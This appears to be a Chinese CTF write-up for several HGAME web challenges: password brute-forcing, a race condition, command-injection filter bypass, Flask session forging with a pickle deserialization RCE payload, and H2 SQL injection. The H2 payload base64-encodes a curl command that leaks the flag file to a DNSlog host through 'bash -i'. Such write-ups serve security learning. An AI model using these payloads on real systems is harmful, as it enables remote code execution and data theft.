获取中...

-

Just a minute...

by:Infernity

Select More Courses

提示已经给的很明显了,弱密码爆破,拿上密码字典去burp里爆破。

图片.png

爆出密码为qwert123

然后进入选课界面,发现已达到学分上限,没法选课,那就退出来看第一个增加学分的页面,给了提示:

Race against time!

图片.png

跟上次一样,无限发包,大概发个几百个即可。

现在退回到选课界面,发现最高学分已经超出很多了。

图片.png

直接选课拿flag

hgame{5ak_p45sW0rD_&_r4Ce_c0nDiT10n}

What the cow say?

回显输入的东西,怀疑后台是echo,试试内敛执行。

`ls`能看到回显,那这道题就是绕过过滤了。直接看看app.py,发现cat被过滤,试试`tac app.py`

图片.png

这是源码,发现过滤了这些。

根目录有个flag_is_here,那么因为过滤了flag,就用通配符。

`tac /f*`发现打不开,说这个是文件夹,那么进入这个文件夹看看。

`ls /f*`发现还有个flag文件,打开这个,同样用通配符:

`tac /f*/f*`

hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}

myflask

给了源码,在/flag接口处验证我们的session token 是不是admin,还给了SECRET_KEY

但是key需要我们先去破译

1
2
currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

这段代码是获取当前时间。说明密钥是创建这个实例当时的时间,可以在创建实例之前自己在python里运行一下代码,得到当前时间,再把时间往后倒退几位来测试密钥。

接着就把username改成admin

图片.png

然后打入cookie,

1
2
3
4
5
# For POST requests from admin
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)

这一段是post传参pickle_data,然后pickle反序列化,别忘了payload还要base64加密一下。

1
2
3
4
5
6
7
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').popen('cat /flag').read()",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

运行后打入payload。

hgame{876a9e31bd250d49befe59230ca95882fd6d2a5d}

search4member

这道题给了docker包,里面是java编写的。

这道题看似是sql注入,其实是sql注入,只不过是java sql注入。

更近一步说是h2sql注入。

https://www.anquanke.com/post/id/181032#h2-2

1
2
3
4
1'CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);',HEXTORAW('007d'));
CALL EXEC('whoami');--+

但是这里不能直接执行命令,这里是无回显的。那么可以尝试curl外带文件,但是这道题不出网,那就只能DNS外带文件。

x=base64(curl `cat /f*`.你的DNS网址)

bash -c {echo,这里放x}|{base64,-d}|{bash,-i}

去在线网站找个DNSlog网址,拿到DNS网址后base64加密嵌入payload当中。

1
2
3
4
5
1';CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);',HEXTORAW('007d'));
CALL EXEC('bash -c {echo,Y3VybCBgY2F0IC9mKmAuaGNlczZoZmMucmVxdWVzdHJlcG8uY29t}|{base64,-d}|{bash,-i}
');--+

把这一段payload直接打进去,然后在dnslog查看request。

图片.png

hgame{a124e279c953d7c44d4c839f209b004ff4261084}

相关文章
评论
分享
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解
  • DASCTF2024校赛

    cool_indexserver.js: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525...

    DASCTF2024校赛
  • XYCTF2024

    ezhttp打开是登录页面,先看源码,源码提示: 1<!-- 为了防止忘记密码,我把它们放在某个地方了 --> 第一反应是robots.txt,进去看看。 得到/l0g1n.txt,进入得到帐号密码: 12u...

    XYCTF2024